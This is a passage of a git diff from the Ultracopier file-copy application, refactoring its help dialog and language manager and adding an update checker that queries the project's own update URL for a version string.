- item=new QTreeWidgetItem(ui->debugView,QStringList() << "...");
- ui->debugView->insertTopLevelItem(ui->debugView->columnCount(),item);
- }
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ return tr("http://ultracopier.first-world.info/")+QStringLiteral("supercopier.html");
+ #else
+ return tr("http://ultracopier.first-world.info/");
+ #endif
}
-void HelpDialog::on_lineEditInsertDebug_returnPressed()
+
+QString HelpDialog::getUpdateUrl()
{
- DebugEngine::addDebugNote(ui->lineEditInsertDebug->text());
- ui->lineEditInsertDebug->clear();
- ui->debugView->scrollToBottom();
+ #if defined(ULTRACOPIER_VERSION_ULTIMATE)
+ return tr("http://ultracopier.first-world.info/shop.html");
+ #else
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ return tr("http://ultracopier.first-world.info/")+QStringLiteral("supercopier.html");
+ #else
+ return tr("http://ultracopier.first-world.info/download.html");
+ #endif
+ #endif
}
+#ifdef ULTRACOPIER_DEBUG
+void HelpDialog::on_lineEditInsertDebug_returnPressed()
+{
+ DebugEngine::addDebugNote(ui->lineEditInsertDebug->text());
+ ui->lineEditInsertDebug->clear();
+ ui->debugView->scrollToBottom();
+}
#endif // ULTRACOPIER_DEBUG
void HelpDialog::on_pushButtonAboutQt_clicked()
{
- QApplication::aboutQt();
+ QApplication::aboutQt();
}
void HelpDialog::on_pushButtonCrash_clicked()
{
- int a=0;
- int *b=NULL;
- *b=3/a;
+ int a=0;
+ int *b=NULL;
+ *b=3/a;
}
diff --git a/HelpDialog.h b/HelpDialog.h
index 43cbc7f..2a2fd32 100644
--- a/HelpDialog.h
+++ b/HelpDialog.h
@@ -1,8 +1,6 @@
/** \file HelpDialog.h
\brief Define the help dialog
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef DIALOG_H
@@ -16,35 +14,35 @@
#include "ui_HelpDialog.h"
#include "Environment.h"
-#include "GlobalClass.h"
namespace Ui {
- class HelpDialog;
+ class HelpDialog;
}
/** \brief Help dialog, and some user oriented repport/debug function */
-class HelpDialog : public QDialog, public GlobalClass {
- Q_OBJECT
- public:
- /// \brief Construct the object
- HelpDialog();
- /// \brief Destruct the object
- ~HelpDialog();
- protected:
- /// \brief To re-translate the ui
- void changeEvent(QEvent *e);
- private:
- Ui::HelpDialog *ui;
- /// \brief To reload the text value
- void reloadTextValue();
- private slots:
- #ifdef ULTRACOPIER_DEBUG
- /// \brief Add debug text
- void addDebugText();
- void on_lineEditInsertDebug_returnPressed();
- #endif // ULTRACOPIER_DEBUG
- void on_pushButtonAboutQt_clicked();
- void on_pushButtonCrash_clicked();
+class HelpDialog : public QDialog {
+ Q_OBJECT
+ public:
+ /// \brief Construct the object
+ HelpDialog();
+ /// \brief Destruct the object
+ ~HelpDialog();
+ static QString getWebSite();
+ static QString getUpdateUrl();
+ protected:
+ /// \brief To re-translate the ui
+ void changeEvent(QEvent *e);
+ private:
+ Ui::HelpDialog *ui;
+ /// \brief To reload the text value
+ void reloadTextValue();
+ private slots:
+ #ifdef ULTRACOPIER_DEBUG
+ /// \brief Add debug text
+ void on_lineEditInsertDebug_returnPressed();
+ #endif // ULTRACOPIER_DEBUG
+ void on_pushButtonAboutQt_clicked();
+ void on_pushButtonCrash_clicked();
};
#endif // DIALOG_H
diff --git a/HelpDialog.ui b/HelpDialog.ui
index 1826120..5d42f18 100644
--- a/HelpDialog.ui
+++ b/HelpDialog.ui
@@ -16,11 +16,8 @@
<height>16777214</height>
</size>
</property>
- <property name="windowTitle">
- <string>About ultracopier</string>
- </property>
<property name="windowIcon">
- <iconset resource="resources/resources.qrc">
+ <iconset resource="resources/ultracopier-resources.qrc">
<normaloff>:/ultracopier-16x16.png</normaloff>:/ultracopier-16x16.png</iconset>
</property>
<layout class="QVBoxLayout" name="verticalLayout_2">
@@ -44,7 +41,7 @@
</size>
</property>
<property name="pixmap">
- <pixmap resource="resources/resources.qrc">:/ultracopier-128x128.png</pixmap>
+ <pixmap resource="resources/ultracopier-resources.qrc">:/ultracopier-128x128.png</pixmap>
</property>
</widget>
</item>
@@ -67,7 +64,7 @@
<item>
<widget class="QLabel" name="label_description">
<property name="text">
- <string extracomment="%1 will be replaced by a variable content (normal, debug, ...)">Based on Qt. It provide advanced copier with more advanced feature. It's under GPL3.
+ <string extracomment="%1 will be replaced by a variable content (normal, debug, ...)">Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</string>
</property>
</widget>
@@ -107,38 +104,13 @@ This version is compiled as version: %1.</string>
</widget>
</item>
<item>
- <widget class="QTreeWidget" name="debugView">
+ <widget class="QTreeView" name="debugView">
<property name="rootIsDecorated">
<bool>false</bool>
</property>
<property name="uniformRowHeights">
<bool>true</bool>
</property>
- <column>
- <property name="text">
- <string notr="true">Time</string>
- </property>
- </column>
- <column>
- <property name="text">
- <string notr="true">File</string>
- </property>
- </column>
- <column>
- <property name="text">
- <string notr="true">Function</string>
- </property>
- </column>
- <column>
- <property name="text">
- <string notr="true">Location</string>
- </property>
- </column>
- <column>
- <property name="text">
- <string notr="true">Text</string>
- </property>
- </column>
</widget>
</item>
<item>
@@ -196,7 +168,7 @@ This version is compiled as version: %1.</string>
<tabstop>pushButtonClose</tabstop>
</tabstops>
<resources>
- <include location="resources/resources.qrc"/>
+ <include location="resources/ultracopier-resources.qrc"/>
</resources>
<connections>
<connection>
diff --git a/InternetUpdater.cpp b/InternetUpdater.cpp
new file mode 100644
index 0000000..de23424
--- /dev/null
+++ b/InternetUpdater.cpp
@@ -0,0 +1,112 @@
+#include "InternetUpdater.h"
+#include "EventDispatcher.h"
+#include "OptionEngine.h"
+
+#ifdef ULTRACOPIER_INTERNET_SUPPORT
+
+#include <QNetworkRequest>
+#include <QUrl>
+
+#include "PluginsManager.h"
+
+InternetUpdater::InternetUpdater(QObject *parent) :
+ QObject(parent)
+{
+ connect(&newUpdateTimer,&QTimer::timeout,this,&InternetUpdater::downloadFile);
+ connect(&firstUpdateTimer,&QTimer::timeout,this,&InternetUpdater::downloadFile);
+ newUpdateTimer.start(1000*3600);
+ firstUpdateTimer.setSingleShot(true);
+ firstUpdateTimer.start(1000*60);
+}
+
+void InternetUpdater::downloadFile()
+{
+ if(!OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("checkTheUpdate")).toBool())
+ return;
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ QString name=QStringLiteral("Supercopier");
+ #else
+ QString name=QStringLiteral("Ultracopier");
+ #endif
+ QString ultracopierVersion;
+ #ifdef ULTRACOPIER_VERSION_ULTIMATE
+ ultracopierVersion=QStringLiteral("%1 Ultimate/%2").arg(name).arg(ULTRACOPIER_VERSION);
+ #else
+ ultracopierVersion=QStringLiteral("%1/%2").arg(name).arg(ULTRACOPIER_VERSION);
+ #endif
+ #ifdef ULTRACOPIER_VERSION_PORTABLE
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ ultracopierVersion+=QStringLiteral(" portable/all-in-one");
+ #else
+ ultracopierVersion+=QStringLiteral(" portable");
+ #endif
+ #else
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ ultracopierVersion+=QStringLiteral(" all-in-one");
+ #endif
+ #endif
+ #ifdef ULTRACOPIER_CGMINER
+ ultracopierVersion+=QStringLiteral(" miner");
+ #endif
+ #if defined(Q_OS_WIN32) || defined(Q_OS_MAC)
+ ultracopierVersion+=QStringLiteral(" (OS: %1)").arg(EventDispatcher::GetOSDisplayString());
+ #endif
+ ultracopierVersion+=QStringLiteral(" ")+ULTRACOPIER_PLATFORM_CODE;
+ QNetworkRequest networkRequest(QStringLiteral(ULTRACOPIER_UPDATER_URL));
+ networkRequest.setHeader(QNetworkRequest::UserAgentHeader,ultracopierVersion);
+ networkRequest.setRawHeader("Connection", "Close");
+ reply = qnam.get(networkRequest);
+ connect(reply, &QNetworkReply::finished, this, &InternetUpdater::httpFinished);
+}
+
+void InternetUpdater::httpFinished()
+{
+ QVariant redirectionTarget = reply->attribute(QNetworkRequest::RedirectionTargetAttribute);
+ if (!reply->isFinished())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("get the new update failed: not finished"));
+ reply->deleteLater();
+ return;
+ }
+ else if (reply->error())
+ {
+ newUpdateTimer.stop();
+ newUpdateTimer.start(1000*3600*24);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("get the new update failed: %1").arg(reply->errorString()));
+ reply->deleteLater();
+ return;
+ } else if (!redirectionTarget.isNull()) {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("redirection denied to: %1").arg(redirectionTarget.toUrl().toString()));
+ reply->deleteLater();
+ return;
+ }
+ QString newVersion=QString::fromUtf8(reply->readAll());
+ if(newVersion.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("version string is empty"));
+ reply->deleteLater();
+ return;
+ }
+ newVersion.remove("\n");
+ if(!newVersion.contains(QRegularExpression(QLatin1Literal("^[0-9]+(\\.[0-9]+)+$"))))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("version string don't match: %1").arg(newVersion));
+ reply->deleteLater();
+ return;
+ }
+ if(newVersion==ULTRACOPIER_VERSION)
+ {
+ reply->deleteLater();
+ return;
+ }
+ if(PluginsManager::compareVersion(newVersion,QStringLiteral("<="),ULTRACOPIER_VERSION))
+ {
+ reply->deleteLater();
+ return;
+ }
+ newUpdateTimer.stop();
+ emit newUpdate(newVersion);
+ reply->deleteLater();
+}
+
+#endif
diff --git a/InternetUpdater.h b/InternetUpdater.h
new file mode 100644
index 0000000..e13a5a2
--- /dev/null
+++ b/InternetUpdater.h
@@ -0,0 +1,33 @@
+#ifndef INTERNETUPDATER_H
+#define INTERNETUPDATER_H
+
+#include "Environment.h"
+
+#include <QObject>
+#include <QString>
+#include <QTimer>
+#include <QNetworkAccessManager>
+#include <QNetworkReply>
+
+#ifdef ULTRACOPIER_INTERNET_SUPPORT
+
+class InternetUpdater : public QObject
+{
+ Q_OBJECT
+public:
+ explicit InternetUpdater(QObject *parent = 0);
+signals:
+ void newUpdate(const QString &version) const;
+private:
+ QTimer newUpdateTimer;
+ QTimer firstUpdateTimer;
+ QNetworkAccessManager qnam;
+ QNetworkReply *reply;
+private slots:
+ void downloadFile();
+ void httpFinished();
+};
+
+#endif
+
+#endif // INTERNETUPDATER_H
diff --git a/LanguagesManager.cpp b/LanguagesManager.cpp
index f178c90..5393e28 100755..100644
--- a/LanguagesManager.cpp
+++ b/LanguagesManager.cpp
@@ -1,285 +1,285 @@
/** \file LanguagesManager.cpp
\brief Define the class to manage and load the languages
\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
+\licence GPL3, see the file COPYING */
#include <QDir>
#include <QLibraryInfo>
#include "LanguagesManager.h"
+#include "FacilityEngine.h"
/// \brief Create the manager and load the defaults variables
LanguagesManager::LanguagesManager()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //load the overall instance
- resources=ResourcesManager::getInstance();
- options=OptionEngine::getInstance();
- plugins=PluginsManager::getInstance();
- //load the rest
- QStringList resourcesPaths=resources->getReadPath();
- int index=0;
- while(index<resourcesPaths.size())
- {
- QString composedTempPath=resourcesPaths.at(index)+"Languages"+QDir::separator();
- QDir LanguagesConfiguration(composedTempPath);
- if(LanguagesConfiguration.exists())
- languagePath<<composedTempPath;
- index++;
- }
- //load the plugins
- plugins->lockPluginListEdition();
- qRegisterMetaType<PluginsAvailable>("PluginsAvailable");
- connect(this,SIGNAL(previouslyPluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginAdded(PluginsAvailable)), this, SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginWillBeRemoved(PluginsAvailable)), this, SLOT(onePluginWillBeRemoved(PluginsAvailable)),Qt::DirectConnection);
- connect(plugins,SIGNAL(pluginListingIsfinish()), this, SLOT(allPluginIsLoaded()),Qt::QueuedConnection);
- QList<PluginsAvailable> list=plugins->getPluginsByCategory(PluginType_Languages);
- foreach(PluginsAvailable currentPlugin,list)
- emit previouslyPluginAdded(currentPlugin);
- plugins->unlockPluginListEdition();
- //load the GUI option
- QList<QPair<QString, QVariant> > KeysList;
- KeysList.append(qMakePair(QString("Language"),QVariant("en")));
- KeysList.append(qMakePair(QString("Language_autodetect"),QVariant(true)));
- options->addOptionGroup("Language",KeysList);
-// connect(this, SIGNAL(newLanguageLoaded(QString)), plugins,SLOT(refreshPluginList(QString)));
-// connect(this, SIGNAL(newLanguageLoaded(QString)), this,SLOT(retranslateTheUI()));
- connect(options,SIGNAL(newOptionValue(QString,QString,QVariant)), this, SLOT(newOptionValue(QString)),Qt::QueuedConnection);
- connect(this, SIGNAL(newLanguageLoaded(QString)), plugins,SIGNAL(newLanguageLoaded()),Qt::QueuedConnection);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ //load the rest
+ QStringList resourcesPaths=ResourcesManager::resourcesManager->getReadPath();
+ int index=0;
+ while(index<resourcesPaths.size())
+ {
+ QString composedTempPath=resourcesPaths.at(index)+QStringLiteral("Languages")+QDir::separator();
+ QDir LanguagesConfiguration(composedTempPath);
+ if(LanguagesConfiguration.exists())
+ languagePath<<composedTempPath;
+ index++;
+ }
+ //load the plugins
+ PluginsManager::pluginsManager->lockPluginListEdition();
+ connect(this,&LanguagesManager::previouslyPluginAdded, this, &LanguagesManager::onePluginAdded,Qt::QueuedConnection);
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginAdded,this, &LanguagesManager::onePluginAdded,Qt::QueuedConnection);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginWillBeRemoved, this, &LanguagesManager::onePluginWillBeRemoved,Qt::DirectConnection);
+ #endif
+ connect(PluginsManager::pluginsManager,&PluginsManager::pluginListingIsfinish, this, &LanguagesManager::allPluginIsLoaded,Qt::QueuedConnection);
+ QList<PluginsAvailable> list=PluginsManager::pluginsManager->getPluginsByCategory(PluginType_Languages);
+ foreach(PluginsAvailable currentPlugin,list)
+ emit previouslyPluginAdded(currentPlugin);
+ PluginsManager::pluginsManager->unlockPluginListEdition();
+ //load the GUI option
+ QList<QPair<QString, QVariant> > KeysList;
+ KeysList.append(qMakePair(QStringLiteral("Language"),QVariant("en")));
+ KeysList.append(qMakePair(QStringLiteral("Language_force"),QVariant(false)));
+ OptionEngine::optionEngine->addOptionGroup("Language",KeysList);
+// connect(this, &LanguagesManager::newLanguageLoaded, plugins,&PluginsManager::refreshPluginList);
+// connect(this, &LanguagesManager::newLanguageLoaded, this,&LanguagesManager::retranslateTheUI);
+ connect(OptionEngine::optionEngine,&OptionEngine::newOptionValue, this, &LanguagesManager::newOptionValue,Qt::QueuedConnection);
+ connect(this, &LanguagesManager::newLanguageLoaded, PluginsManager::pluginsManager,&PluginsManager::newLanguageLoaded,Qt::QueuedConnection);
}
/// \brief Destroy the language manager
LanguagesManager::~LanguagesManager()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- PluginsManager::destroyInstanceAtTheLastCall();
- OptionEngine::destroyInstanceAtTheLastCall();
- ResourcesManager::destroyInstanceAtTheLastCall();
}
/// \brief load the language selected, return the main short code like en, fr, ..
-QString LanguagesManager::getTheRightLanguage()
+QString LanguagesManager::getTheRightLanguage() const
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(LanguagesAvailableList.size()==0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"empty combobox list, failing back to english");
- return "en";
- }
- else
- {
- if(options->getOptionValue("Language","Language_autodetect").toBool())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"language auto-detection, QLocale::system().name(): "+QLocale::system().name()+", QLocale::languageToString(QLocale::system().language()): "+QLocale::languageToString(QLocale::system().language()));
- QString tempLanguage=getMainShortName(QLocale::languageToString(QLocale::system().language()));
- if(tempLanguage!="")
- return tempLanguage;
- else
- {
- tempLanguage=getMainShortName(QLocale::system().name());
- if(tempLanguage!="")
- return tempLanguage;
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Autodetection of the language failed, QLocale::languageToString(QLocale::system().language()): "+QLocale::languageToString(QLocale::system().language())+", QLocale::system().name(): "+QLocale::system().name()+", failing back to english");
- return options->getOptionValue("Language","Language").toString();
- }
- }
- }
- else
- return options->getOptionValue("Language","Language").toString();
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(LanguagesAvailableList.size()==0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"empty combobox list, failing back to english");
+ return "en";
+ }
+ else
+ {
+ if(!OptionEngine::optionEngine->getOptionValue(QStringLiteral("Language"),QStringLiteral("Language_force")).toBool())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("language auto-detection, QLocale::system().name(): ")+QLocale::system().name()+QStringLiteral(", QLocale::languageToString(QLocale::system().language()): ")+QLocale::languageToString(QLocale::system().language()));
+ QString tempLanguage=getMainShortName(QLocale::languageToString(QLocale::system().language()));
+ if(tempLanguage!=QStringLiteral(""))
+ return tempLanguage;
+ else
+ {
+ tempLanguage=getMainShortName(QLocale::system().name());
+ if(tempLanguage!=QStringLiteral(""))
+ return tempLanguage;
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Autodetection of the language failed, QLocale::languageToString(QLocale::system().language()): ")+QLocale::languageToString(QLocale::system().language())+QStringLiteral(", QLocale::system().name(): ")+QLocale::system().name()+", failing back to english");
+ return OptionEngine::optionEngine->getOptionValue(QStringLiteral("Language"),QStringLiteral("Language")).toString();
+ }
+ }
+ }
+ else
+ return OptionEngine::optionEngine->getOptionValue(QStringLiteral("Language"),QStringLiteral("Language")).toString();
+ }
}
/* \brief To set the current language
\param newLanguage Should be short name code found into informations.xml of language file */
void LanguagesManager::setCurrentLanguage(const QString &newLanguage)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+newLanguage);
- //protection for re-set the same language
- if(currentLanguage==newLanguage)
- return;
- //store the language
- plugins->setLanguage(newLanguage);
- //unload the old language
- if(currentLanguage!="en")
- {
- int indexTranslator=0;
- while(indexTranslator<installedTranslator.size())
- {
- QCoreApplication::removeTranslator(installedTranslator[indexTranslator]);
- delete installedTranslator[indexTranslator];
- indexTranslator++;
- }
- installedTranslator.clear();
- }
- if(newLanguage=="en")
- {
- currentLanguage="en";
- emit newLanguageLoaded(currentLanguage);
- }
- else
- {
- int index=0;
- while(index<LanguagesAvailableList.size())
- {
- if(LanguagesAvailableList.at(index).mainShortName==newLanguage)
- {
- //load the new language
- if(newLanguage!="en")
- {
- QTranslator *temp;
- QStringList fileToLoad;
- //load the language main
- fileToLoad<<LanguagesAvailableList.at(index).path+"translation.qm";
- //load the language plugin
- QList<PluginsAvailable> listLoadedPlugins=plugins->getPlugins();
- int indexPluginIndex=0;
- while(indexPluginIndex<listLoadedPlugins.size())
- {
- if(listLoadedPlugins.at(indexPluginIndex).category!=PluginType_Languages)
- {
- QString tempPath=listLoadedPlugins.at(indexPluginIndex).path+"Languages"+QDir::separator()+LanguagesAvailableList.at(index).mainShortName+QDir::separator()+"translation.qm";
- if(QFile::exists(tempPath))
- fileToLoad<<tempPath;
- }
- indexPluginIndex++;
- }
- int indexTranslationFile=0;
- while(indexTranslationFile<fileToLoad.size())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Translation to load: "+fileToLoad.at(indexTranslationFile));
- temp=new QTranslator();
- if(!temp->load(fileToLoad.at(indexTranslationFile)) || temp->isEmpty())
- {
- delete temp;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to load the translation file: "+fileToLoad.at(indexTranslationFile));
- }
- else
- {
- QCoreApplication::installTranslator(temp);
- installedTranslator<<temp;
- }
- indexTranslationFile++;
- }
- temp=new QTranslator();
- if(temp->load(QString("qt_")+newLanguage, QLibraryInfo::location(QLibraryInfo::TranslationsPath)) && !temp->isEmpty())
- {
- QCoreApplication::installTranslator(temp);
- installedTranslator<<temp;
- }
- else
- {
- if(!temp->load(LanguagesAvailableList.at(index).path+"qt.qm") || temp->isEmpty())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to load the translation file: qt.qm, into: "+LanguagesAvailableList.at(index).path);
- delete temp;
- }
- else
- {
- QCoreApplication::installTranslator(temp);
- installedTranslator<<temp;
- }
- }
- }
- currentLanguage=newLanguage;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"emit newLanguageLoaded()");
- emit newLanguageLoaded(currentLanguage);
- return;
- }
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to found language: "+newLanguage+", LanguagesAvailableList.size(): "+QString::number(LanguagesAvailableList.size()));
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start: ")+newLanguage);
+ //protection for re-set the same language
+ if(currentLanguage==newLanguage)
+ return;
+ //store the language
+ PluginsManager::pluginsManager->setLanguage(newLanguage);
+ //unload the old language
+ if(currentLanguage!=QStringLiteral("en"))
+ {
+ int indexTranslator=0;
+ while(indexTranslator<installedTranslator.size())
+ {
+ QCoreApplication::removeTranslator(installedTranslator.at(indexTranslator));
+ delete installedTranslator.at(indexTranslator);
+ indexTranslator++;
+ }
+ installedTranslator.clear();
+ }
+ int index=0;
+ while(index<LanguagesAvailableList.size())
+ {
+ if(LanguagesAvailableList.at(index).mainShortName==newLanguage)
+ {
+ //load the new language
+ if(newLanguage!=QStringLiteral("en"))
+ {
+ QTranslator *temp;
+ QStringList fileToLoad;
+ //load the language main
+ if(newLanguage==QStringLiteral("en"))
+ fileToLoad<<QStringLiteral(":/Languages/en/translation.qm");
+ else
+ fileToLoad<<LanguagesAvailableList.at(index).path+QStringLiteral("translation.qm");
+ //load the language plugin
+ QList<PluginsAvailable> listLoadedPlugins=PluginsManager::pluginsManager->getPlugins();
+ int indexPluginIndex=0;
+ while(indexPluginIndex<listLoadedPlugins.size())
+ {
+ if(listLoadedPlugins.at(indexPluginIndex).category!=PluginType_Languages)
+ {
+ QString tempPath=listLoadedPlugins.at(indexPluginIndex).path+QStringLiteral("Languages")+QDir::separator()+LanguagesAvailableList.at(index).mainShortName+QDir::separator()+QStringLiteral("translation.qm");
+ if(QFile::exists(tempPath))
+ fileToLoad<<tempPath;
+ }
+ indexPluginIndex++;
+ }
+ int indexTranslationFile=0;
+ while(indexTranslationFile<fileToLoad.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Translation to load: ")+fileToLoad.at(indexTranslationFile));
+ temp=new QTranslator();
+ if(!temp->load(fileToLoad.at(indexTranslationFile)) || temp->isEmpty())
+ {
+ delete temp;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Unable to load the translation file: ")+fileToLoad.at(indexTranslationFile));
+ }
+ else
+ {
+ QCoreApplication::installTranslator(temp);
+ installedTranslator<<temp;
+ }
+ indexTranslationFile++;
+ }
+ temp=new QTranslator();
+ if(temp->load(QString("qt_")+newLanguage, QLibraryInfo::location(QLibraryInfo::TranslationsPath)) && !temp->isEmpty())
+ {
+ QCoreApplication::installTranslator(temp);
+ installedTranslator<<temp;
+ }
+ else
+ {
+ if(!temp->load(LanguagesAvailableList.at(index).path+QStringLiteral("qt.qm")) || temp->isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to load the translation file: qt.qm, into: "+LanguagesAvailableList.at(index).path);
+ delete temp;
+ }
+ else
+ {
+ QCoreApplication::installTranslator(temp);
+ installedTranslator<<temp;
+ }
+ }
+ }
+ currentLanguage=newLanguage;
+ FacilityEngine::facilityEngine.retranslate();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("emit newLanguageLoaded()"));
+ emit newLanguageLoaded(currentLanguage);
+ return;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to found language: "+newLanguage+", LanguagesAvailableList.size(): "+QString::number(LanguagesAvailableList.size()));
}
/// \brief check if short name is found into language
-QString LanguagesManager::getMainShortName(const QString &shortName)
+QString LanguagesManager::getMainShortName(const QString &shortName) const
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<LanguagesAvailableList.size())
- {
- if(LanguagesAvailableList.at(index).shortName.contains(shortName) || LanguagesAvailableList.at(index).fullName.contains(shortName))
- return LanguagesAvailableList.at(index).mainShortName;
- index++;
- }
- return "";
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<LanguagesAvailableList.size())
+ {
+ if(LanguagesAvailableList.at(index).shortName.contains(shortName) || LanguagesAvailableList.at(index).fullName.contains(shortName))
+ return LanguagesAvailableList.at(index).mainShortName;
+ index++;
+ }
+ return "";
}
/// \brief load the language in languagePath
void LanguagesManager::allPluginIsLoaded()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- setCurrentLanguage(getTheRightLanguage());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ setCurrentLanguage(getTheRightLanguage());
}
-/*QString LanguagesManager::getMainShortName()
+const QString LanguagesManager::autodetectedLanguage() const
{
- return currentLanguage;
-}*/
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("language auto-detection, QLocale::system().name(): ")+QLocale::system().name()+QStringLiteral(", QLocale::languageToString(QLocale::system().language()): ")+QLocale::languageToString(QLocale::system().language()));
+ QString tempLanguage=getMainShortName(QLocale::languageToString(QLocale::system().language()));
+ if(tempLanguage!=QStringLiteral(""))
+ return tempLanguage;
+ else
+ {
+ tempLanguage=getMainShortName(QLocale::system().name());
+ if(tempLanguage!=QStringLiteral(""))
+ return tempLanguage;
+ }
+ return "";
+}
void LanguagesManager::onePluginAdded(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_Languages)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QDomElement child = plugin.categorySpecific.firstChildElement("fullName");
- LanguagesAvailable temp;
- if(!child.isNull() && child.isElement())
- temp.fullName=child.text();
- child = plugin.categorySpecific.firstChildElement("shortName");
- while(!child.isNull())
- {
- if(child.isElement())
- {
- if(child.hasAttribute("mainCode") && child.attribute("mainCode")=="true")
- temp.mainShortName=child.text();
- temp.shortName<<child.text();
- }
- child = child.nextSiblingElement("shortName");
- }
- temp.path=plugin.path;
- if(temp.fullName.isEmpty())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"fullName empty for: "+plugin.path);
- else if(temp.path.isEmpty())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"path empty for: "+plugin.path);
- else if(temp.mainShortName.isEmpty())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"mainShortName empty for: "+plugin.path);
- else if(temp.shortName.size()<=0)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"temp.shortName.size()<=0 for: "+plugin.path);
- else if(!QFile::exists(temp.path+"flag.png"))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"flag file not found for: "+plugin.path);
- else if(!QFile::exists(temp.path+"translation.qm") && temp.mainShortName!="en")
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"translation not found for: "+plugin.path);
- else
- LanguagesAvailableList<<temp;
- if(plugins->allPluginHaveBeenLoaded())
- setCurrentLanguage(getTheRightLanguage());
+ if(plugin.category!=PluginType_Languages)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ QDomElement child = plugin.categorySpecific.firstChildElement(QStringLiteral("fullName"));
+ LanguagesAvailable temp;
+ if(!child.isNull() && child.isElement())
+ temp.fullName=child.text();
+ child = plugin.categorySpecific.firstChildElement(QStringLiteral("shortName"));
+ while(!child.isNull())
+ {
+ if(child.isElement())
+ {
+ if(child.hasAttribute("mainCode") && child.attribute(QStringLiteral("mainCode"))==QStringLiteral("true"))
+ temp.mainShortName=child.text();
+ temp.shortName<<child.text();
+ }
+ child = child.nextSiblingElement(QStringLiteral("shortName"));
+ }
+ temp.path=plugin.path;
+ if(temp.fullName.isEmpty())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"fullName empty for: "+plugin.path);
+ else if(temp.path.isEmpty())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"path empty for: "+plugin.path);
+ else if(temp.mainShortName.isEmpty())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"mainShortName empty for: "+plugin.path);
+ else if(temp.shortName.size()<=0)
